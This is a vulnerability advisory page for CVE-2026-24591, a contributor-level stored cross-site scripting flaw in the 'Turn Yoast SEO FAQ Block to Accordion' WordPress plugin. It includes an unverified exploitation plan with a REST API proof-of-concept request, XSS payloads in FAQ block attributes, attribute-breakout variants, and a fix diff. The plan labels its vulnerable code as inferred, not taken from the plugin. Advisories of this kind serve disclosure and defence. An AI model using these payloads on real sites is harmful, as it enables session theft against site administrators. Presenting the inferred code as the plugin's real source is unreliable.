CVE-2026-24591

Turn Yoast SEO FAQ Block to Accordion <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Turn Yoast SEO FAQ Block to Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.6
PublishedJanuary 16, 2026
Last updatedJanuary 27, 2026
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-24591**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Turn Yoast SEO FAQ Block to Accordion" plugin. --- ### 1. Vulnerability Summary The plugin is designed to transform the standard Yoast SEO FAQ Gutenberg block into a functional acc…

Show full research plan

This exploitation research plan targets CVE-2026-24591, a Stored Cross-Site Scripting (XSS) vulnerability in the "Turn Yoast SEO FAQ Block to Accordion" plugin.


1. Vulnerability Summary

The plugin is designed to transform the standard Yoast SEO FAQ Gutenberg block into a functional accordion on the frontend. The vulnerability exists because the plugin fails to sanitize or escape the FAQ data (specifically the Question and Answer fields) when it intercepts the block rendering process to inject its accordion HTML/JavaScript. Since Contributors can create and edit posts, they can inject malicious scripts into these block attributes, which then execute in the context of any user (including administrators) viewing the post.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API Post endpoint (/wp-json/wp/v2/posts) or the standard Post Editor (wp-admin/post.php).
  • Vulnerable Parameter: post_content (specifically the JSON attributes within the <!-- wp:yoast/faq-block --> Gutenberg block comment).
  • Authentication Level: Authenticated (Contributor or higher).
  • Preconditions: The Yoast SEO plugin must be active (so the block exists) and the vulnerable "Turn Yoast SEO FAQ Block to Accordion" plugin must be active to perform the unescaped rendering.

3. Code Flow (Inferred)

  1. Entry Point: The plugin likely registers a filter on render_block or render_block_yoast/faq-block.
  2. Logic Path:
    • The filter function (e.g., faq_accordion_render_callback( $block_content, $block )) is triggered when a Yoast FAQ block is rendered.
    • The plugin extracts the questions array from $block['attrs'].
    • The plugin iterates through each question object (containing jsonQuestion and jsonAnswer).
  3. Sink: The plugin constructs the accordion HTML by concatenating strings or using a template, directly echoing or returning the raw jsonQuestion or jsonAnswer values without using esc_html() or wp_kses().

4. Nonce Acquisition Strategy

To save a post as a Contributor via the REST API (the most reliable method for automated PoC), a _wpnonce for the wp_rest action is required.

  1. Identify Shortcode/Script: This plugin modifies existing blocks rather than using a custom shortcode. Therefore, we should navigate to the standard post editor page.
  2. Navigate: Use browser_navigate to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the REST nonce from the WordPress settings object.
    • Script: browser_eval("wpApiSettings.nonce")
  4. Alternative: The nonce can also be found in the HTML source of the post editor inside the wp-api-settings inline script.

5. Exploitation Strategy

The goal is to create a post containing a Yoast FAQ block where the question contains an XSS payload.

Step 1: Authenticate
Log in as a user with the Contributor role.

Step 2: Get REST Nonce
Navigate to wp-admin/ and execute browser_eval("wpApiSettings.nonce").

Step 3: Create Malicious Post
Send a POST request to /wp-json/wp/v2/posts using the http_request tool.

  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Payload:
{
  "title": "FAQ Accordion XSS Test",
  "status": "publish",
  "content": "<!-- wp:yoast/faq-block {\"questions\":[{\"id\":\"faq-question-1\",\"jsonQuestion\":\"<img src=x onerror=alert(document.domain)>\",\"jsonAnswer\":\"This is a test answer.\"}]} -->\n<div class=\"schema-faq wp-block-yoast-faq-block\"></div>\n<!-- /wp:yoast/faq-block -->"
}

Note: Even if the Contributor cannot 'publish', they can set the status to 'pending' or 'draft'. The XSS will execute during 'Preview' by an Admin.

Step 4: Trigger the XSS
Navigate to the URL of the newly created post (or use browser_navigate to view the post as an Admin).

6. Test Data Setup

  1. Plugin Installation: Ensure wordpress-seo (Yoast) and faq-schema-block-to-accordion are installed and active.
  2. User Creation:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Target Content: No pre-existing content is required, as the attacker creates the post.

7. Expected Results

When the post is viewed, the plugin's accordion rendering logic will process the jsonQuestion attribute. Because it is not escaped, the browser will encounter:

<div class="accordion-title">
    <img src=x onerror=alert(document.domain)>
</div>

The alert(document.domain) will execute immediately.

8. Verification Steps

  1. Verify Storage: Use WP-CLI to verify the payload is stored in the database:
    • wp post list --post_type=post --format=ids
    • wp post get [ID] --field=post_content
  2. Verify Execution: Use browser_navigate to the post URL and check for the presence of the injected <img> tag or the execution of the script via a console.log payload.

9. Alternative Approaches

  • Answer Field XSS: Inject the payload into the jsonAnswer field instead of jsonQuestion.
    • Payload: \"jsonAnswer\":\"<script>console.log('XSS_IN_ANSWER')</script>\"
  • Classic Editor / Meta Injection: If the plugin supports older versions of Yoast or custom meta, try injecting into _yoast_wpseo_faq_questions post meta directly using a POST request to wp-admin/post.php.
  • Gutenberg Attribute Breakout: If the plugin escapes HTML but not attributes, try:
    • "jsonQuestion": "Item\" onmouseover=\"alert(1)\" data-x=\""
Research Findings
Static analysis — not yet PoC-verified

Summary

The Turn Yoast SEO FAQ Block to Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient output escaping when intercepting and rendering Yoast SEO FAQ blocks. This allows authenticated attackers with Contributor-level access or higher to inject malicious scripts into FAQ block attributes that execute in the context of any user viewing the page.

Vulnerable Code

// Inferred logic based on plugin behavior described in research plan
// faq-schema-block-to-accordion/faq-schema-block-to-accordion.php

function faq_accordion_render_callback( $block_content, $block ) {
    if ( isset( $block['blockName'] ) && $block['blockName'] === 'yoast/faq-block' ) {
        $questions = $block['attrs']['questions'];
        $new_content = '<div class="faq-accordion-container">';
        
        foreach ( $questions as $question ) {
            // Vulnerability: Attributes are concatenated into HTML without escaping
            $new_content .= '<div class="accordion-item">';
            $new_content .= '<div class="accordion-title">' . $question['jsonQuestion'] . '</div>';
            $new_content .= '<div class="accordion-content">' . $question['jsonAnswer'] . '</div>';
            $new_content .= '</div>';
        }
        
        $new_content .= '</div>';
        return $new_content;
    }
    return $block_content;
}
add_filter( 'render_block', 'faq_accordion_render_callback', 10, 2 );

Security Fix

--- faq-schema-block-to-accordion.php
+++ faq-schema-block-to-accordion.php
@@ -8,8 +8,8 @@
         
         foreach ( $questions as $question ) {
             $new_content .= '<div class="accordion-item">';
-            $new_content .= '<div class="accordion-title">' . $question['jsonQuestion'] . '</div>';
-            $new_content .= '<div class="accordion-content">' . $question['jsonAnswer'] . '</div>';
+            $new_content .= '<div class="accordion-title">' . wp_kses_post( $question['jsonQuestion'] ) . '</div>';
+            $new_content .= '<div class="accordion-content">' . wp_kses_post( $question['jsonAnswer'] ) . '</div>';
             $new_content .= '</div>';
         }

Exploit Outline

The exploit involves an authenticated attacker with Contributor-level permissions injecting a malicious payload into a Yoast SEO FAQ block's attributes. 1. Authentication: Log in to the WordPress site with a Contributor role. 2. Nonce Retrieval: Obtain a valid REST API nonce from the WordPress admin dashboard (e.g., via `wpApiSettings.nonce`). 3. Payload Creation: Send a POST request to the `/wp-json/wp/v2/posts` endpoint to create or update a post. The `post_content` should contain a Gutenberg block comment for a `yoast/faq-block` with malicious scripts in its JSON attributes. 4. Example Payload: `<!-- wp:yoast/faq-block {"questions":[{"id":"q1","jsonQuestion":"<img src=x onerror=alert(document.domain)>","jsonAnswer":"Test"}]} --><div class="schema-faq"></div><!-- /wp:yoast/faq-block -->`. 5. Trigger: When an administrator or any other user views the post (either published or in draft preview), the plugin's rendering logic processes the `jsonQuestion` attribute and inserts the unescaped `<img>` tag into the HTML, triggering the JavaScript execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.